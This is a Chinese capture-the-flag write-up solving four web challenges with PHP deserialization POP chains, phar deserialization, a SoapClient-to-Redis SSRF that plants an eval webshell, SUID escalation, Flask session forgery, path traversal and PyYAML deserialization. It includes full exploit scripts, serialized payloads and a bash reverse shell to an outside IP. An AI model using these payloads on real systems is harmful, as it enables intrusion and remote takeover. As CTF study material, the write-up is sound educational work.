目录
EasyPOP
hade_waibo
EasyLove
BlogSystem
EasyPOP
先读hint.php
sorry.__destruct -> secret_code::secret()
exp:
$a=new sorry();
$b=new secret_code();
$a->password="suibian";
$a->name="jay";
echo serialize($a);
真暗号啊🤔
然后直接瞪眼看链子就完了
sorry.__destruct -> show.__toString ->secret_code.show() -> sorry.__get -> fine.__invoke
exp:
<?php
class fine
{public $cmd;public $content;}class show
{public $ctf;public $time;}class sorry
{public $name;public $password;public $hint;public $key;}class secret_code
{public $code;
}//sorry.__destruct -> show.__toString ->secret_code.show() -> sorry.__get -> fine.__invoke
$a=new sorry();
$b=new show();
$c=new secret_code();
$d=new sorry();
$e=new fine();
$e->cmd="system";
$e->content="tac /f*";
$d->key=$e;
$c->code=$d;
$b->ctf=$c;
$a->name=&$a->password;
$a->hint=$b;
echo serialize($a);
wakeup绕过把fine的属性数改成3就可
payload:
?pop=O:5:"sorry":4:{s:4:"name";N;s:8:"password";R:2;s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:7:"tac /f*";}}}s:4:"time";N;}s:3:"key";N;}
hade_waibo
先随便输个用户名登进去
cancanneed可以任意文件读取
bp抓包拿到
base64解码得
尝试读/flag和/proc/1/environ均无果
于是读index.php
<?php
error_reporting(0);
session_start();
include 'class.php';if(isset($_POST['username']) && $_POST['username']!=''){#修复了登录还需要passwd的漏洞$user = new User($_POST['username']);
}if($_SESSION['isLogin']){die("<script>alert('Login success!');location.href='file.php'</script>");
}else{die('
<form action="index.php" method="post"><div class="ui input"><input type="text" name="username" placeholder="Give me uname" maxlength="6"></div>
<form>');
}
class.php
<?php
class User
{public $username;public function __construct($username){$this->username = $username;$_SESSION['isLogin'] = True;$_SESSION['username'] = $username;}public function __wakeup(){$cklen = strlen($_SESSION["username"]);if ($cklen != 0 and $cklen <= 6) {$this->username = $_SESSION["username"];}}public function __destruct(){if ($this->username == '') {session_destroy();}}
}class File
{#更新黑名单为白名单,更加的安全public $white = array("jpg","png");public function show($filename){echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" οnclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';if(empty($filename)){die();}return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';}public function upload($type){$filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);return "Upload success! Path: upload/" . $filename;}public function rmfile(){system('rm -rf /var/www/html/upload/*');}public function check($type){if (!in_array($type,$this->white)){return false;}return true;}}#更新了一个恶意又有趣的Test类
class Test
{public $value;public function __destruct(){chdir('./upload');$this->backdoor();}public function __wakeup(){$this->value = "Don't make dream.Wake up plz!";}public function __toString(){$file = substr($_GET['file'],0,3);file_put_contents($file, "Hack by $file !");return 'Unreachable! :)';}public function backdoor(){if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){$this->value = 'nono~';}system($this->value);}}
典啊,很典啊
存在一个恶意类,可以配合User类来利用
注意最后的无字母数字rce不在eval中,所以常规的异或取反自增都不能用
在File.show()存在file_get_contents,可以触发phar反序列化
之后对Test类的后门进行利用时要绕过wakeup,靶机是高版本php,不能用CVE-2016-7124打,但因为这题的特殊性,所以哪怕不绕过也可以玩。
因为反序列化时会先执行对象的成员属性的值的__wakeup再执行此对象的__wakeup,即先执行内层再执行外层,所以可以有如下利用
User::__wakeup()里username的值可以被赋值为 $_SESSION[“username”]的值,而这个值是我们可控的
将User::$username的值和Test::value的值使用引用关联起来,这样两个的值就会一直相同
以. ./*登录,则可执行system('. ./*')
恶意phar包生成脚本
<?php
class User{public $username;
}
class Test
{public $value;}
$b=new User();
$a=new Test();
$b->username=new Test();
$b->test=$a;
$a->value=&$b->username;
unlink("exp.phar");
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
先上传一个恶意文件
内容为
#!/bin/bash
ls /
再上传恶意phar包
用文件读取功能触发phar反序列化
phar:///var/www/html/upload/dasctffa7668f272204eb70911a4c1be67ccad.png
然后直接读flag文件
/file.php?m=show&filename=/ghjsdk_F149_H3re_asdasfc
base64解码即可
EasyLove
先进行一个hint.php的看
?hello=O:4:"hint":1:{s:4:"hint";s:63:"php://filter/read=convert.base64-encode/resource=/var/www/html/";}
base64解码拿到
一眼SoapClient打ssrf打redis
exp:
<?php
$target='http://127.0.0.1:6379/';
$poc0="AUTH 20220311";
$poc="CONFIG SET dir /var/www/html";
$poc1="SET x '<?@eval(\$_POST[1]);?>'";
$poc2="CONFIG SET dbfilename yjh.php";
$poc3="SAVE";
$a = array('location' => $target,'uri' =>'hello^^'.$poc0.'^^'.$poc.'^^'.$poc1.'^^'.$poc2.'^^'.$poc3.'^^hello');
$aaa = serialize($a);
$aaa = str_replace('^^',"\r\n",$aaa);
$c=unserialize($aaa);
class swpu{public $wllm = 'SoapClient';public $arsenetang = null;public $l61q4cheng;public $love;
}
$a=new swpu();
$a->l61q4cheng=$c;
echo urlencode(serialize($a));
?>
payload:
?hello=O%3A4%3A%22swpu%22%3A4%3A%7Bs%3A4%3A%22wllm%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A10%3A%22arsenetang%22%3BN%3Bs%3A10%3A%22l61q4cheng%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A3%3A%22uri%22%3Bs%3A125%3A%22hello%0D%0AAUTH+20220311%0D%0ACONFIG+SET+dir+%2Fvar%2Fwww%2Fhtml%0D%0ASET+x+%27%3C%3F%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%27%0D%0ACONFIG+SET+dbfilename+yjh.php%0D%0ASAVE%0D%0Ahello%22%3B%7Ds%3A4%3A%22love%22%3BN%3B%7D
连蚁剑发现没权限读flag
虚拟终端中打开
find / -user root -perm -4000 -print 2>/dev/null
先查找SUID文件
用date提权读文件
带有SUID权限位的提权方法
date -f /hereisflag/flllll111aaagg
BlogSystem
先随便注册个账号
在blog界面翻到secretkey
解密
伪造
修改session,成功以admin登录
发现多了一个download的功能
猜测存在目录穿越下载任意文件
/download?path=../../../app/app.py
from flask import *
import configapp = Flask(__name__)
app.config.from_object(config)
app.secret_key = '7his_1s_my_fav0rite_ke7'
from model import *
from view import *app.register_blueprint(index, name='index')
app.register_blueprint(blog, name='blog')@app.context_processor
def login_statue():username = session.get('username')if username:try:user = User.query.filter(User.username == username).first()if user:return {"username": username, 'name': user.name, 'password': user.password}except Exception as e:return ereturn {}@app.errorhandler(404)
def page_not_found(e):return render_template('404.html'), 404@app.errorhandler(500)
def internal_server_error(e):return render_template('500.html'), 500if __name__ == '__main__':app.run('0.0.0.0', 80)
可以看到app.py引入了三个包:config model view
关于__init__.py
/download?path=../../../app/view/__init__.py
读view/__init__.py
同理也可以读
/app/view/index.py&/app/view/blog.py
关键代码:
@blog.route('/imgUpload', methods=['POST'])
@login_limit
def imgUpload():try:file = request.files.get('editormd-image-file')fileName = file.filename.replace('..','')filePath = os.path.join("static/upload/", fileName)file.save(filePath)return {'success': 1,'message': '上传成功!','url': "/" + filePath}except Exception as e:return {'success': 0,'message': '上传失败'}
@blog.route('/saying', methods=['GET'])
@admin_limit
def Saying():if request.args.get('path'):file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')try:with open(file, 'rb') as f:f = f.read()if waf(f):print(yaml.load(f, Loader=Loader))return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')else:return render_template('sayings.html', yaml='鲁迅说:你说得不对')except Exception as e:return render_template('sayings.html', yaml='鲁迅说:'+str(e))else:with open('view/jojo.yaml', 'r', encoding='utf-8') as f:sayings = yaml.load(f, Loader=Loader)saying = random.choice(sayings)return render_template('sayings.html', yaml=saying)
def waf(data):if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):return Falseelse:return True
写一个恶意文件exp.py
import os
os.popen("bash -c 'bash -i &> /dev/tcp/124.222.136.33/1337 0>&1'").read()
用表单上传
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>File Upload Form</title>
</head>
<body><h1>Upload a File</h1><!-- 文件上传表单 --><form action="http://f6802fbb-c2e2-41b7-bdee-31bfa406624f.node5.buuoj.cn:81/blog/imgUpload" method="post" enctype="multipart/form-data"><p><label for="file">Choose file to upload:</label><input type="file" id="file" name="file" required></p><p><button type="submit">Upload File</button></p></form>
</body>
</html>
关于yaml反序列化的利用:
SecMap - 反序列化(PyYAML) - Tr0y's Blog
恶意yaml文件
!!python/module:static.upload.exp
最后触发yaml反序列化
/blog/saying?path=static/upload/exp.yaml
反弹shell拿到flag